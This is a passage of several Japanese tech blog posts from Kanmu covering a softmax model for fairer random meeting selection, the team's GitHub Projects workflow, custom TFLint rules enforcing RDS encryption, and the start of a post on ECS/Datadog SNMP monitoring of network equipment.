カンム流朝会最適化#1 『確率モデル編』

はじめに f:id:fkubota_owl:20220331123312p:plain

こんにちは、カンムでバンドルカードの機械学習部分を担当している fkubota です。(ちなみに機械学習エンジニアめっちゃ探してます👀)
前回の記事から日が経ってしまいました。
あれから、沖縄に移住する(2月に)などプライベートで大きめのイベントが多発して忙しく過ごしていました。
そのせいもあり新しい技術に触れるような時間が少なくてなかなかテックブログネタが思いつかなかったのですが、朝会で不便を感じていたのでテックでいい感じにしたろ!と思い立ち勢いで書きます。

前回の記事も朝会についてでした。 カンム流『朝会』をやってみたら予想以上にウケが良かった件
ざっと概要を話すと、

  • リモートで雑談減ったよね
  • 雑談する会を設けても継続的に行うことって難しいよね
  • 新しく入社した人が関係構築するのも難しいよね

という思いから、飽きない、形骸化しづらいしくみの朝会を開催しました。
2021年6月ごろにはじめて未だに(2022年03月31日現在) 続いているのでなかなか悪くない仕組みでは?と思っています。
仕組みは簡単で、

  • 週に2回、朝15分開催
  • メンバーは毎回ランダム(現在は18人から5人選ぶ感じ)
  • 聞き専禁止
  • テーマなしの雑談

という感じです。
短いこととランダムなことが効いて飽きづらい仕組みにしています。
biz寄りの人もいればデザイナーもいて普段仕事で会話しない人とも会話できて楽しいです:)

もうすこしいい感じにしたい朝会

f:id:fkubota_owl:20220331124101p:plain
この朝会を運用していてもう少しいい感じにしたいなぁと思うことがありました。
ランダムにメンバーを選んでいるのですが、あれーあの人全然選ばれてないなぁとかあの人とあの人が一緒の会に参加してるの見たこと無いなぁとかそんなことを思っていました。
20回参加している人もいれば、5回しか参加していない人もいます。
AさんとBさんはそれぞれ10回参加していますが、同時に参加したことは0回だったりもします。
朝会は月に多くても 10回程度しか開催されないので、そういう状況はまあありえますよね。

問題の形

f:id:fkubota_owl:20220331124847p:plain

現在の悩みのタネは

  • 全員の参加回数に偏りがある
  • 同時に会に参加したことのないペアが存在する

です。
前者だけであれば、簡単にできそうなのですがペアまで考慮するとちょっと複雑そうです。
こういう制約のある数理最適化問題みたいのって存在しそうなんですが、僕は詳しくないので知りません。
なにか知っている人いたらコメントで教えて下さい。

確率モデルを導入して解いてみる

ということで確率モデルを導入してみます。
確率モデルというと仰々しいですがそんなにかっこよくて難しい話ではありません。
もう少しお付き合いいただくとわかってくるかと思います。

僕は、問題を解くための土台として以下のような表を用意しました。

f:id:fkubota_owl:20220331125217p:plain

これは、A~Jの10人のメンバーが朝会に参加した記録です。
10人から3人が朝会に参加するとします。
[A, B, E] が選ばれた場合、表の A行B列、A行E列、B行E列のセルに1が加算されます。
A行B列とB行A列のセルは同等な意味を持ちますので上三角部分だけが意味を成します。

上の表を導入して話を進めていきます。
次に朝会を30回行った場合を見ていきます。
メンバーはランダムに選びます。(pythonで実装しています。)

1回目
f:id:fkubota_owl:20220331125705p:plain

5回目
f:id:fkubota_owl:20220331125829p:plain

15回目
f:id:fkubota_owl:20220331125900p:plain

30回目
f:id:fkubota_owl:20220331130408p:plain

こんな感じになりました。
BさんとEさん(B行E列)は5回同じ朝会に参加していますが、AさんとDさんは一度も同じ会に参加していません。
各人の合計参加回数はどうでしょうか?

f:id:fkubota_owl:20220331130618p:plain

となっており、明らかに偏りがあります。
Bさんの32回に対してDさんは6回なので、参加回数に5倍も差がありますね。
これはなんとかしたいところ。

やりたいことは明らかで、この参加回数表の値が小さいところが選ばれやすいような確率モデルを導入すればいいだけです。
現在のランダムな状況をモデルとして考えると、以下のようになります。

f:id:fkubota_owl:20220331131239p:plain

各セルの値が選ばれやすい確率を表しており、すべてのペアを等しい確率で選んでいるので0.022で一定値です。
ちなみにすべてのセルを足すと1になるように正規化しています。 100をかければ%になるので、 0.022×100 = 2.2%なのですべてのペアは2.2%の確率で選ばれます。

このすべて同じ値の表(確率モデル)を改良して、すべてのペアでバランス良く朝会を実現しようというのが今回解いている問題です。
ここまでこれば後は解けたようなものですね。
サクッとやってしまいましょう。

まずは、各セルの値ごとに 朝会に参加していない度 を定義したいと思います。
各セルの参加回数を  n _ {ij}、全体の朝会開催数を N とします。
以下のような指標 \alpha _ {ij}はどうでしょうか?


\alpha_{ij} = \frac{N - n_{ij}}{N}

Nが定数(今回だと30)なので、  n _ {i,j} が大きいほど、上の指標 \alphaは小さくなります。
つまりペアが実現した回数が大きいほど小さくなります。 朝会参加していない度 として使えそうです。
実際にセルに当てはめてみます。

参加回数表

f:id:fkubota_owl:20220331132618p:plain

上記から計算した  \alpha
f:id:fkubota_owl:20220331132655p:plain

回数が少ないほど、 \alpha が大きな 大きな値を取っています。
例えば、  n _ {A, D} = 0 だと  \alpha _ {A, D} = 1 であり、 n _ {B, E} = 5 だと  \alpha _ {B, E} = 0.833 となっています。
しかし、0回と5回で極端に差が開いているのに、1/0.833 ≒ 1.2 と仮に確率として扱うと、1.2倍程度しか差がなくて微妙です。
もう少し、回数の差に対して勾配をつけたいです。さらには、その勾配加減を調整できると嬉しいです。
実現方法はいくらでもありますが、僕は 指数関数を用いることにしました。

新しく定義する 朝会参加していない度 \beta とします。


\beta_{ij} = e^{\lambda \alpha_{ij}}

ここで、 \lambda \lambda >0 の実数であり、\lambdaが大きいときには n _ {ij}が小さい場合、 \beta _ {ij}をより小さく、大きい時より大きくします。(勾配をコントロールします)

\lambda=1 の場合と  \lambda=5 の場合の  \beta を見てみましょう。

\lambda=1 の場合
f:id:fkubota_owl:20220331134847p:plain

\lambda=5 の場合
f:id:fkubota_owl:20220331134920p:plain

\lambda=5 のほうが n _ {ij} の値の大きさに激しく値が反応している事がわかります。

あとは、これを正規化(すべてのセルを足して1にする)して確率  p _ {ij} として扱います。


p_{ij} = \frac{e^{\lambda \alpha_{ij}}}{\sum_{all\_cells} e^{\lambda \alpha_{ij}}}

という式になり、おなじみにの softmax関数となりました。

作ったモデルで遊んで見る

作ったモデルで実際にシミュレーションしてみます。
朝会のメンバーを選ぶプロセスは

  1. 参加回数表から確率の表を作成
  2. 表を元に3人の参加者を選ぶ
  3. 表を更新
  4. 1~3を繰り返す

とこんな感じです。

  • randomに選ぶパターン
  •  \lambda=5 で選ぶパターン
  •  \lambda=50 で選ぶパターン

をやってみました。
朝会の開催回数うは  N=50としています。
結果は

  • random
    f:id:fkubota_owl:20220331140510p:plain

  •  \lambda=5
    f:id:fkubota_owl:20220331140609p:plain]

  •  \lambda=50
    f:id:fkubota_owl:20220331140907p:plain

となり、  \lambdaが大きいほど極端に多い/少ないが見られません。
意図した動作になっているようです。
ちなみに、 \lambda=50 の終了時の確率の表は以下のようになっていました。

f:id:fkubota_owl:20220331141112p:plain

また、参加合計回数を randomと  \lambda=50 で比較すると \lambda=50 のほうが公平に参加できている事がわかります。

  • ramdom
    f:id:fkubota_owl:20220331142514p:plain

  •  \lambda=50
    f:id:fkubota_owl:20220331142359p:plain

評価してみる

上述したように  \lambda によって、参加回数をコントロールできるようになり、参加回数表も均一になっているように見えます。
どの程度均一になっているのか?を定量的に評価したくなったのでこれもやってみました。
まあ、分散でいいだろうと思ったのでちゃちゃっと計算した結果を見せます。
分散は、参加回数表の各セルの平均値を \mu、セル数を N_cとした時以下のような式で表されます。

\displaystyle{
var = \frac{1}{N_c}\sum_{all\_cells} \left( n_{ij} - \mu \right)^2
}

横軸に朝会の開催回数、縦軸に  var を取ったグラフを書きました。

f:id:fkubota_owl:20220331142112p:plain

こちらも \lambdaが大きいほど分散が小さいことがわかります。
意図した動作が実現できています。

おわり

以上です。 なんか朝会ガチ勢みたいな記事になってしまって申し訳ないですが、最後まで見てくださってありがとうございます。
頑張って考えましたが実践導入するかちょっと迷います。
めんどくさくなっちゃうといけないので、そこまでのメリットがあるのかは要検討です。
とはいえ、自分で問題を作って解くというはやっぱり面白いなと思いました。
結構楽しめてよかったです。

第二弾があるかはわかりませんが、面白そうな事ができそうならチャレンジしてみたいです。

定番ですが、積極採用中です!
機械学習エンジニアをめっちゃ探してますのでカジュアル面談からでも何卒!!!!

kanmu.co.jp

カンムにおけるGitHub Projects Beta活用方法

マニアックなSQLに続き2回目の登場、COOの achiku です。

これは

カンムでは GitHub Projects (Beta) を利用してプロダクト改善を推進している。Private Betaの時点から使い始めてから約4ヶ月、今の運用に落ち着いてから約2ヶ月程度経過したため、導入の目的、目的を鑑みた運用方法、現時点での状態をまとめる。誰かの参考になれば嬉しい。

※以降断りのない場合はGitHub ProjectsもしくはProjectsはGitHub Projects (Beta)を指す ※同様に以降断りのない場合はprはGitHub上のPull Requestを指す

前提(2022/03時点)

まずは前提の共有から。ぱっと見ても分かるように、小さくはないがとんでもないサイズでもない、という状況のチームの話であるという前提がある。

  • 作っているもの
  • 2016年ローンチ当時からGitHubを利用して開発している
  • アプリと通信するVandle API、決済処理を担うProcessor、ネイティブアプリのリポジトリは別れている
  • プロダクトのサイズ感が分かりそうな情報(as of 2022/03)
    • Vandel API
      • テーブル数: 310
      • APIエンドポイント数: 121
    • Processor
      • テーブル数: 47
      • APIエンドポイント数: 6
  • バンドルカードチーム構成: 約15名
    • ソフトウェアエンジニア(バックエンド/インフラ): 4
    • ソフトウェアエンジニア(モバイル): 1.5
    • データサイエンティスト/アナリスト: 2
    • デザイナー: 2.5
    • マーケター(広告運用含む): 3
    • PM: 1
    • 何でもやる人(achiku): 1
    • (0.5=poolという新プロダクト兼務)

2021/06に Introducing new GitHub issue が公開された。その3ヶ月後の2021/09のThe new GitHub Issues – September 29th updateにて、Workflowsが導入された事が確認できた。これで複数リポジトリを跨いでソフトウェアエンジニアは通常通りissue/prを中心に仕事をしていれば進捗がProjects上に反映される基礎が整った。

導入の目的

Projects、なんとなく良さそうとはいえ目的を明確にしなければ情報の設計、運用の設計、チームの納得感の醸成を行うことは出来ない。サービスありきで導入したが結局使われないというのは悲しい。よってまずは以下2点に絞って導入の目的を明確化した。

1. 進捗の把握/報告という行動を撲滅する

  • 普通に仕事をしていたら勝手に進捗が記録されて欲しい(or 最小限の手数で記録されて欲しい)
    • 進捗を報告するのも確認するのも極力緊急事態発生時のみにし、普段は誰が見てもサクッと分かるようにすることでより生産的な仕事に時間を使いたい
  • 誰がどの程度のボリュームの仕事に取り組んでおり、どのタイミングで次の大きめのタスクに取り組めそうか/今ちょっとお願い毎出来るのかを"全員"が確認する術を持ちたい
    • 一人が優先順位とチームの稼働状況をリアルタイムに把握して差配する形式だと、チームメンバーが5人を超えたあたりから非効率の方が大きいと感じている

2. チームが自律的に改善に取り組めるような情報の通り道を作る

  • 優先順位が明確になっており且つチームがその優先順位に納得感を持つことで自律的に動きを取りやすくする
    • あくまでも情報の通り道なのでGitHub Projectsを導入するだけで自律的に改善が出来るわけではないが、"最新情報が常にメンテされ続けている場所"として活用可能と考える
  • 優先順位によって事業インパクトが出る確率を上げる工夫、その優先順位が現時点で最善であるという思考プロセスの伝達の工夫は別途必要
    • プロダクトが提供する価値の言語化、事業計画とプロダクトが提供する価値の中間表現、プロダクト会議体の設計、優先順位の明示とその背景ストーリー、学習した事とその共有、全てのあわせ技

優先度は1の方を高く設定した。仕組みで解決可能っぽいが人数が増えれば増えるほど全体としての無駄が大きくなる性質を持っているからだ。1と比較して2はかなり複雑で、あわせ技と継続的努力で改善していく類のもの。ただし、GitHub Projectsの中でもissue/prに優先順位を分かりやすく付ける事ができる為一旦目標の中に入れた。あわせ技である「プロダクトが提供する価値の言語化」「事業計画とプロダクトが提供する価値の中間表現」「事業計画の四半期計画策定プロセス改善」等も同時に進めていたので、それらの情報の通り道としての役割を担ってもらえないかなぁという期待があった。

導入前の実験

まずは優先度を高く設定した「進捗の把握/報告という行動を撲滅する」という目的を、GitHub Projects導入で解決できそうなのかを小さく実験することにした。vandleというProjectsを作成し、既存のissue/prをachikuが勝手にProjectsに登録しViewを作りながら動作確認していくという流れ。今各チームが沿っているフローの変更は最小限にして本当に目的が達成できるのかを見たかった。

余談だがProjectsをissue/prに紐付けるというのはよく出来た設計だなと思った。issue/prが適切に運用できているチームであればという前提はつくが、それぞれに対してメタデータを付与し一覧化/グループ化を試しながら小さく実践投入出来る。そしてそこまで大きなプロダクトでなければ1名GitHubに慣れた人が本気出せばいける(と思う)。ここで小さく価値を感じてもらえれば、まずは開発チーム内部での運用、ひいてはプロダクトチーム全体での運用につなげていける。そしてそれは開発者のみが参加するGitHubのシート数という市場を拡張することにつながる。実験が軽いのは本当に正義だし、市場をズラして拡大するのは大正義だなと思う。

この実験の中でやったことは以下。

Workflowsを設定する

いつもの仕事してたら勝手に進捗が記録されるようにする為には必要な設定。カンムではissue/prを中心として開発になっているのでこれらがclose/mergeされたら自動的にProjects側にも反映される。もちろん、issue/prに現れない仕事や大きなissue/prになると正確に記録し続ける事は難しい。限界はあるし、詳細にやろうとしすぎると効用が逓減していく類のものと認識しているので最初はおおらかな気持ちで良いんじゃないかと考えている。2022/03現在Default workflowsは "Code review approved" 以外全てEnabledにしている。

f:id:kanmu-tech:20220301190755p:plain
Workflows

StatusとViewを作る

カンムではBoard/Priority/Milestone/Archived/NoPriorityの5つのViewを作っている。Status属性はToDo/Planning/In Progress/In Review/Done/Archivedの6つに増やした。ToDo/In Progress/Done/Archivedだけでスタートしたが、機能の検討も入れたいよね(=Planningの追加)、レビュー依頼まで終わってるものは分かりたいよね(=In Review)を追加している。が、最初はシンプルに始めるのが良いと思う。

BoardはStatus属性でGroup Byしているだけなので飛ばして、Priority/NoPriority/Milestone/ArchiveというViewの役割とどうやってフィルタしているかを以下で解説する。

Priority/NoPriority

まず以下のような形でザクッとPriorityを定義した。あまり言い回しにこだわらず、この段階ではなんとなくこんなもんかなくらいで良いと思う。後で精緻化すれば良い。

  • Priorityの定義
    • P0🔥
      • ユーザー影響が出ている障害/影響が出かねない事案/セキュリティ関連の緊急対応はP0とする
    • P1💨
      • 四半期で定めた注力事項、事業計画上の必達事項、パートナーとの依存関係がありリリースの期限が存在はP1とする
    • P2😗
      • ユーザー/チーム/会社に取ってやった方が良い事は分かりきっているがP1ではないものはP2とする
    • P3🌴
      • 出来たらやりたいがそこまでインパクトなさそうなものはP3とする

Priority ViewはTable View、Priority属性でGroup ByしPriority属性昇順でソートし -status:Done -status:Archived とフィルタをかけてDone/Archivedなものを除外する。こうすることで今Q抱えている注力項目(P1)は何か、P1がブロックされているのであれば手をつけれるP2は何か、という事を常時更新し続けられているリストを見ながら考える事が出来る。

f:id:kanmu-tech:20220301201600p:plain
Priority View (1)

f:id:kanmu-tech:20220301201623p:plain
Priority View (2)

NoPriority ViewはTable View、 no:priority とフィルタをかけてPriorityがついていないものを表示する。Group Byやソートは設定していない。暫定運用時はこのViewを定期的に確認し、登録されたissue/prの優先度を一旦achikuが判断することにしていた。このViewがあることで「一応Priorityの定義はあるが最初は難しい事を考えずにProjectsに放り込んでほしい!」というお願いが可能になる。

Milestone

以前はIssueのMilestoneを利用して複数リポジトリを跨いだリリース時期定義をしていたが、現在はProjects内で定義しリポジトリ跨いで付与できる属性であるIterationという概念を利用している。(The new GitHub Issues – October 14th update Milestoneでgroup byするのはまぁまぁ面倒だったのでこのリリースノートを読んで小躍りして喜んだ事を覚えている。)

現在のMilestone ViewはTable View、Iteration属性でGroup ByしPriority属性でソートし -status:Archived というフィルタをかけてArchivedなものを除外する。自分はこのViewを最も頻繁に見ている。既存の流れを踏襲して1 Iteration = 1 weekとして運用しており、金曜の段階で全てがクリアされていると爽快な気分になる。

f:id:kanmu-tech:20220301201930p:plain
Milestone View

Archive

Archive ViewはTable View、Iteration属性でGroup ByしIteration属性を降順でソートし status:Archived -no:iteration とフィルタを掛けてStatus属性がArchivedでIteration属性が付与されているものだけ表示する。もちろん登録しDoneまで遷移したissue/prをProjectsから外すこともできるが、過去の振り返りも行いたい為このViewを作っている。前週あるいは前Q単位で振り返るのにもこのArchive Viewは便利だと思う。

f:id:kanmu-tech:20220301202159p:plain
Archive View

実験中のコミュニケーション

なるべくチームに負担を掛けないように、ただし「何やってんのか分からんな」とならない程度にやっている事を共有しつつフィードバックをもらい、「それ便利じゃん」となってもらえるように微調整していった。この辺はあまり言語化できることはなく、自分は今までの信頼貯金的な部分に助けられたと思う。各位自分のポジションを鑑みていい塩梅でよろしくやっていって欲しい。

実験中の学び

実験中は結構学び多かった。あまり客観的数値と共に示せるものがなく心苦しいが重要だなと思った学びをいくつか挙げる。各位割引ながら読んでほしい。

モメンタムが視えるッ!

毎週少しずつプロダクトが提供する価値が上がっていく、実験を通して分からない事が減っていく、というのを実感できる。また、チーム全体のスループットは大体これくらいなんだなというのが確認できる。それはかなり基礎的な事では?という指摘はそうなんだけど、一部の開発メンバーだけでなくプロダクトチーム全体が上記を認識できるようになったのは良かったと思う(Projectsを利用したプロダクト定例のあわせ技的な側面もあるが)。

P0/P1が分かるからP2/P3がやりやすい

実験していた時期は自分もバックエンドの開発に参加しており、優先順位が明確になっていると細かい改善もやりやすいと感じた。「このP1は一旦フロントエンド側待ちなのでこっちのサクッと片付きそうなP2/P3やるかな」や「休憩の仕事としてのP2/P3」みたいな動きがやりやすくなっている(※休憩の仕事は自分の造語なのでチーム内で特に使われているわけではないが雰囲気伝わるかな...)。

同時にArchive Viewを振り返りながら「今回のIterationがP1だけになってしまっているのでP2/P3もう少し入れれないか」「このIterationのP1/P2/P3割合はいい塩梅」「このIterationはP0結構入ってしまったので他あまり出来なかったな...」等、どういう優先度の割合でタスクに取り組んでいるのかを見返せるのは良いなと思う。

もちろん、P1をしっかりとプロダクトが提供する価値の増大に紐付ける為の事前調査や実験設計はとても重要。だが往々にしてP1仕事は不確実性が高く複雑で、1週間やったら即時結果が出る類のものではない。そういう難しい問題をチームで解くためにもフォーカスを保つことは、事前調査や実験設計と同様に重要。ただ、これは個人的な話ではあるが、少しでも、しかし確実に良くなる改善があるのであれば、時間を見つけてサッとやる、しかも品質も高い、それが腕前だろうという思いがある。「"要はバランスおじさん"をしない為に腕磨いとるんじゃこちとらよォォ」と、心の野山に住んでいる山賊が言っているのだ。今回実施した優先順位付けのProjects登録はこの心の野山に住まう山賊の性に合っており自分は気に入っている。

システム的な改善を四半期注力事項にどうやって入れていくか

これは実験の振り返りをしていく中でソフトウェアエンジニア側から上った指摘。実験時に策定したP1は、事業計画を四半期に割った際に目指すべき事業の結果とプロダクトがユーザーに提供する価値向上を合わせて決めていく方式を取った。この際、システム的な安定性/開発容易性は事業計画上に現れにくい為、あまり考慮出来ていなかった。が、しっかりと商売していく為にはBS/PL双方が重要であるように、プロダクトが提供し続ける価値とプロダクト内部のシステム的/オペレーション的品質にも目を配り、適切にメンテナンスし続けていく事は重要だ。この部分はまだ決定打と言えるような解決策は練れていないが、以前から四半期単位で運用しているOKR運用に載せ、そこでプロダクトマネージャー(achiku)とソフトウェアエンジニアチームの議論を経て決めた四半期注力項目をソフトウェアエンジニアチームのP1とする、という形を取っている(OKR、2019年から運用しているんだけどその話は別途)。

今のところObjectiveとKey Resultの形に落とす事でリファクタをするにもパフォーマンスチューニングをするにも監視強化するにも地に足のついた議論が出来るので、結構良い気はしている。

Qの最後に2週間ほど開発は手を止めて細かい改善を行うのは良いリズムを作るかもしれない

以前 Shape Up を読んだ際にソフトウェアエンジニアは6週間で作りその後の2週間で作る際に荒れてしまった部分、作っていたら見つけた改善可能なポイント、リファクタをやるという話があった。自分はShape Upの「アイディア/機能を考える人」と「作る人」を明確に分けるスタンスにはそこまで共感できていないのだけど、このサイクル自体は良いなと思っていた。最初から内部的な品質には固定割合の労力を割く事を決めておき、対応が後手になるのをルールでカバーするというか。また、deeeet氏と話した際に彼のチームでも6週間+2週間のサイクルで回していて調子良いと言っていたので、まずフロントエンドチームで実験。2週間で細かいライブラリの更新、やろうと思って積み残していたリファクタ、CI/リリースプロセスの改善、等を経てみて話を聞いたが好評だった。

もちろんプロダクトの内部品質で重要な部分はOKRに載せてP1として対応するんだけど、どうしてもそこに載せるまでもない細かい改善ポイントは残ってしまう。よって、こういう時間を固定で定義して早めに倒しておくのは費用対効果としても良いのかもしれないと今は考えている。この辺みんなどうやって運用しているのか知りたい。

まとめ

再度目的をまとめる。

  • 進捗の把握/報告という行動を撲滅する
  • チームが自律的に改善に取り組めるような情報の通り道を作る

「進捗の把握/報告という行動を撲滅する」はProjects導入し、チームに便利さを体感してもらい、運用方法を周知し、振り返りを行い、今後もこのフローを改善しながらやっていこうという流れは作れている。もちろんこれで完成というわけではなく、プロダクトチームがより一体となって提供する価値を向上させる為に改善していきたい。

「チームが自律的に改善に取り組めるような情報の通り道を作る」に関してはPriorityで進む方向の大枠を示し、Iterationでリズム良く改善をしていける形は整った。再度になるが、この目的の中でProjectsが貢献できる部分は比較的小さな一部であり、プロダクトが提供する価値をより大きくしていく為にはより包括的な活動が必要になる。その部分に関しての工夫や学びもいつか共有できるようにしたいと考えている。

カンムにおけるGitHub Projects (Beta)の導入方法、運用方法、1周回してみての学びを書いた。プロダクトやチームのサイズによるが、GitHubを利用してさえいれば上記のViewを作りとりあえず始められる。すでに利用しているチームがあれば是非どうやっているのか教えてほしいし議論したいと思っているので achiku まで気軽に話しかけて欲しい。Meety もあるので是非!

TFLintを使ったterraformのチェックとカスタムルールの設定

インフラエンジニアの菅原です。

カンムはサービスの運用にAWSを使用し、そのリソースの管理にterraformを使用しています。 リソースの定義はGitHub上でコードとして管理されているので、何かリソースを追加する場合はプルリクエストを作成してレビューを受けることになるので、運用のポリシーに反するようなリソースの作成はある程度防ぐことができます。

しかしレビューはあくまで人の目によるものなので、チェックが漏れてしまうこともあります。 また「RDSは必ず暗号化すること」などのルールはCIで機械的にチェックして欲しいところです。

そこでカンムではtflintを導入してチェックの自動化を行うようにしました。

TFLintの導入

github.com

TFLintはterraform用のlinterで、非推奨な書式に警告を出してくれたり、ベストプラクティスを強制することができたりします。 メジャーなプロバイダー(AWS/Azure/GCP)のルールセットはすでに存在しており、カンムではtflint-ruleset-awsを利用しています。

tflintを導入するにはまず対象のtfファイルが置かれているフォルダに .tflint.hcl を作成し tflint --init を実行します。

plugin "aws" {
  enabled = true
  version = "0.12.0"
  source  = "github.com/terraform-linters/tflint-ruleset-aws"
}
$ tflint --init
Installing `aws` plugin...
Installed `aws` (source: github.com/terraform-linters/tflint-ruleset-aws, version: 0.12.0)

tflintを実行するとルールに違反した箇所を表示してくれます。

$ tflint
3 issue(s) found:

Warning: resource `aws_acm_certificate` needs to contain `create_before_destroy = true` in `lifecycle` block (aws_acm_certificate_lifecycle)

  on route53.tf line 25:
  25: resource "aws_acm_certificate" "stg_example_com" {

Reference: https://github.com/terraform-linters/tflint-ruleset-aws/blob/v0.12.0/docs/rules/aws_acm_certificate_lifecycle.md

Notice: "default.redis6.x" is default parameter group. You cannot edit it. (aws_elasticache_replication_group_default_parameter_group)

  on redis.tf line 123:
 123:   parameter_group_name          = "default.redis6.x"

Reference: https://github.com/terraform-linters/tflint-ruleset-aws/blob/v0.12.0/docs/rules/aws_elasticache_replication_group_default_parameter_group.md

Error: "t1.2xlarge" is an invalid value as instance_type (aws_instance_invalid_type)

  on ec2.tf line 40:
  40:   instance_type           = "t1.2xlarge"

AWSのルールセットの場合、デフォルトで有効になっているルールはここにあるとおりです。

.tflint.hcl で個々のルールの有効・無効を指定することもできます。

rule  "aws_elasticache_replication_group_default_parameter_group" {
  enabled = false
}

また、tflint-ignore というコメントをつけることで特定の箇所のチェックを無視することもできます。

resource "aws_instance" "my-instance" {
  # tflint-ignore: aws_instance_invalid_type
  instance_type           = "t1.2xlarge"

GitHub Actionsへの組み込み

terraform-lintersからsetup-tflintアクションが提供されているので、簡単にGitHub Actionsに組み込むことができます。

      - uses: actions/checkout@v2
      - run: tflint --init
        env:
          GITHUB_TOKEN: ${{ secret.GITHUB_TOKEN }}
      - run: tflint

reviewdogというツールを使ったアノテーションを入れてくれるアクション reviewdog/action-tflintもありますが、そちらを試したことはないです。

カスタムルールの作成

カンムではRDSの暗号化など必須にしたいポリシーがいくつかあるため、カスタムルールを作成しています。

カスタムルールを作成する場合、まず tflint-ruleset-template をテンプレートとしてGitHubリポジトリを作成します。

たとえば aws_rds_cluster リソースの storage_encrypted をチェックするルールを作成する場合、チェックを書いたGoのソースコードを作成します。

  • rules/aws_rds_cluster_must_be_encrypted.go
package rules

import (
    "fmt"

    hcl "github.com/hashicorp/hcl/v2"
    "github.com/terraform-linters/tflint-plugin-sdk/terraform/configs"
    "github.com/terraform-linters/tflint-plugin-sdk/tflint"
)

type AwsRdsClusterMustBeEncryptedRule struct{}

func NewAwsRdsClusterMustBeEncryptedRule() *AwsRdsClusterMustBeEncryptedRule {
    return &AwsRdsClusterMustBeEncryptedRule{}
}

func (r *AwsRdsClusterMustBeEncryptedRule) Name() string {
    // ルール名
    return "aws_rds_cluster_must_be_encrypted"
}

func (r *AwsRdsClusterMustBeEncryptedRule) Enabled() bool {
    return true
}

func (r *AwsRdsClusterMustBeEncryptedRule) Severity() string {
    return tflint.ERROR
}

func (r *AwsRdsClusterMustBeEncryptedRule) Link() string {
    // ルールのドキュメントのリンク先
    return "https://rule-document.example.com/posts/12345"
}

func (r *AwsRdsClusterMustBeEncryptedRule) Check(runner tflint.Runner) error {
    err := runner.WalkResources("aws_rds_cluster", func(resource *configs.Resource) error {
        content, _, diags := resource.Config.PartialContent(&hcl.BodySchema{
            Attributes: []hcl.AttributeSchema{
                {Name: "storage_encrypted"},
            },
        })

        if diags.HasErrors() {
            return diags
        }

        // storage_encryptedが存在しない場合は違反
        if _, exists := content.Attributes["storage_encrypted"]; !exists {
            return runner.EmitIssue(r, "`storage_encrypted` attribute not found", resource.DeclRange)
        }

        return nil
    })

    if err != nil {
        return err
    }

    return runner.WalkResourceAttributes("aws_rds_cluster", "storage_encrypted", func(attribute *hcl.Attribute) error {
        var storageRncrypted string
        err := runner.EvaluateExpr(attribute.Expr, &storageRncrypted, nil)

        if err != nil {
            return err
        }

        if storageRncrypted == "true" {
            return nil
        }

        // storage_encryptedがtrueでない場合は違反
        return runner.EmitIssueOnExpr(
            r,
            fmt.Sprintf("`storage_encrypted` is %s", storageRncrypted),
            attribute.Expr,
        )
    })
}

そして main.go にルールを追加します。

  • main.go
func main() {
    plugin.Serve(&plugin.ServeOpts{
        RuleSet: &tflint.BuiltinRuleSet{
            Name:    "kanmu",
            Version: "0.2.0",
            Rules: []tflint.Rule{
                rules.NewAwsRdsClusterMustBeEncryptedRule(),
            },
        },
    })
}

これで aws_rds_cluster リソースが storage_encrypted = true でない場合はエラーになります。

Error: `storage_encrypted` is false (aws_rds_cluster_must_be_encrypted)

  on rds.tf line 70:
  70:   storage_encrypted                   = false

Reference: https://rule-document.example.com/posts/12345

カスタムルールセットの配布

カスタムルールをプラグインとして tflint --init でインストールする場合、terraform providerと同様にgpgでの署名が必要になります。

基本的にはterraformのドキュメントに従ってgpgの鍵を作成し、terraform-provider-scaffoldingのGoReleaserの設定を編集して使えば、ルールセットのCIで自動的にインストール可能なアーカイブファイルが作成できます。

また.tflint.hcl にはカスタムルールセットの設定を追加しておきます。

plugin "kanmu" {
  enabled = true
  version = "0.1.0"
  source  = "github.com/xxx/tflint-ruleset-kanmu"

  signing_key = <<-KEY
  -----BEGIN PGP PUBLIC KEY BLOCK-----
  ...
  -----END PGP PUBLIC KEY BLOCK-----
  KEY
}

まとめ

tflintを使うことで、単純なミスをチェックしたりベストプラクティスを強制することができるようになります。 また、独自のルールセットを作成することで、RDSの暗号化のような「作成後に変更できない」設定をCIでチェックできるようになりました。

カンムではインフラの自動化に興味のあるインフラエンジニアを絶賛募集中です。

open.talentio.com

ECSとDatadogを使ったネットワーク機器のモニタリング

インフラエンジニアの菅原です。

カンムはバンドルカードというVisaプリペイドカードのサービスを提供していますが、Visaと決済情報をやりとりするためにオンプレミスのサーバと通信しています。

カンムのサービスはAWS上で構築されており、AWSとオンプレミスのサーバの通信はAWS Direct Connectを経由してます。

また、ネットワーク制御のためスイッチとしてCisco CatalystとJuniper SRXを使用しています。

f:id:winebarrel:20220130132559j:plain

ネットワーク機器は通常のサーバと同様になにかしらの問題が発生することがあるため、SNMPによるメトリクスの収集やSNMPトラップでのイベントの検知が必要になります。

また、Syslogはネットワーク機器内にファイルとして保存されていますが、外部にログを転送・保存しておくことで何か問題が発生したときに分析がやりやすくなります。

以前まではEC2インスタンスSNMPの収集・SNMPトラップの受信・ネットワーク機器用のSyslogサーバ、NTPサーバの運用を行っていました。

f:id:winebarrel:20220130134323j:plain

ECSとDatadogによる監視の構築

EC2インスタンスはサーバーの自体の管理やOS・ミドルウェアのアップデートなどでそれなりに運用の手間がかかります。

そこでECSとDatadogを使って、コンテナとSaaSでネットワーク機器の監視をできるようにしました。

f:id:winebarrel:20220130135659j:plain

Datadog AgentによるSNMPの収集とSNMPトラップの受信

ネットワーク機器のSNMPの収集とSNMPトラップの受信にはDatadog Agentのコンテナを使用しています。*1

SNMPトラップはUDPで送信されるためNetwork Load Balancer(NLB)を使ったECSサービスを作成しました。

Dockerfile

FROM datadog/agent:7

# (中略)

COPY datadog.yaml.tmpl /etc/datadog-agent/
COPY snmp.d_conf.yaml.tmpl /etc/datadog-agent/conf.d/snmp.d/conf.yaml.tmpl
COPY ping.d_conf.yaml.tmpl /etc/datadog-agent/conf.d/ping.d/conf.yaml.tmpl

# https://github.com/progrium/entrykit を使っています
ENTRYPOINT [ \
  "render",\
  "/etc/datadog-agent/datadog.yaml", \
  "--", \
  "render",\
  "/etc/datadog-agent/conf.d/snmp.d/conf.yaml", \
  "--", \
  "/bin/entrypoint.sh" \
  ]

datadog.yml

# cf. https://github.com/DataDog/datadog-agent/blob/main/pkg/config/config_template.yaml
snmp_traps_enabled: true
snmp_traps_config:
  bind_host: "0.0.0.0"
  community_strings:
    - '{{ var "COMMUNITY_STRING" }}'

# NOTE: Needed for SNMP trap
logs_enabled: true

snmp.d/conf.yml

